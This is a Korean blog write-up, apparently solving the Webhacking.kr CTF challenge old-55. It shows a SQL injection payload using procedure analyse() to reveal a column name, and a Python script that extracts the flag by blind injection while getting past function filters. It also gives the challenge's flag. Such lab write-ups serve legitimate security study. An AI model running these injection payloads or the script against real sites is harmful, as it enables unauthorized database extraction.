article thumbnail image
Published 2021. 11. 5. 14:46

 

마우스 좌표에 따라 이미지가 이동한다.

 

 

이미지가 왼쪽 상단에 위치하게 되면 위처럼 GAME OVER alert창이 뜬다.

 

여기서 확인할 건 다한 것 같으니 rank를 눌러봤다.

 

 

rank와 id, score 표가 있었고, 그 아래엔 DB에 관련된 정보가 노출되어 있다.

score부분이 링크로 되어있어 클릭해봤다.

 

 

id와 score가 뜨면서 url 파라미터 score가 추가됐다.

다른 사람들의 score를 클릭해도 똑같은 id가 출력되는 것을 보면 select 결과의 맨 위 데이터를 가져오는 것 같다.

 

이제 아래에 있는 php코드를 살펴보자.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

 

id와 score, flag가 DB에 삽입되는 것 같다.

flag를 알아내야 하는데 지금은 flag의 column명을 모른다.

flag를 알아내기 위해서는 flag의 column명이 필요하다.

 

procedure analyse();를 사용하면 실행중인 column에 대한 정보를 얻을 수 있다.

 

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

위 코드를 봤을 때 flag column의 위치는 3번째일 것이다.

 

아래와 같이 작성해볼 수 있을 것 같다.

score=2147483647 limit 2,1 procedure analyse();

 

 

작성결과 flag의 column명을 알아냈다.    →    p4ssw0rd_1123581321

Blind SQL Injection을 하기에 앞서 참/거짓 쿼리를 보냈을 때 출력되는 문자열을 알아봤다.

 

 

참 쿼리를 보내면 id : jusb3 // 2147483647가 출력된다.

 

 

거짓 쿼리를 보내면 id : //가 출력된다.

 

이제 필터링을 알아보자.

 

mid, substr, ascii, char, substring 등 다섯가지 경우가 필터링 되었다.

 

이제 exploit 코드를 작성해보자.

 

import requests

length = 1
while True :
    url = "https://webhacking.kr/challenge/web-31/rank.php"
    query = "?score=2147483647 and length(p4ssw0rd_1123581321)=" + str(length) + "#"
    result = requests.get(url+query)
    if "id : jusb3 // 2147483647" in result.text :
        print("flag length:", length)
        break
    print(length)
    length+=1

flag = ""
for i in range(1, length + 1) :
    for c in range(33, 127) :
        query="?score=2147483647 and ord(right(left(p4ssw0rd_1123581321," + str(i) + "), 1)) = "+ str(c) +"#"
        result = requests.get(url+query)
        if "id : jusb3 // 2147483647" in result.text :
            flag += chr(c)
            print("FLAG :", flag)
            break

 

flag length : 31

 

 

 

flag : FLAG{easy_peasy_lemon_squeezy!}

 

 

auth창에 flag를 입력하자.

 

 

old-55 해결!

 

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[Webhacking.kr] old-40  (0) 2021.11.11
[Webhacking.kr] old-29  (0) 2021.11.11
[Webhacking.kr] old-34  (0) 2021.11.05
[Webhacking.kr] old-53  (0) 2021.10.09
[Webhacking.kr] old-49  (0) 2021.10.09
복사했습니다!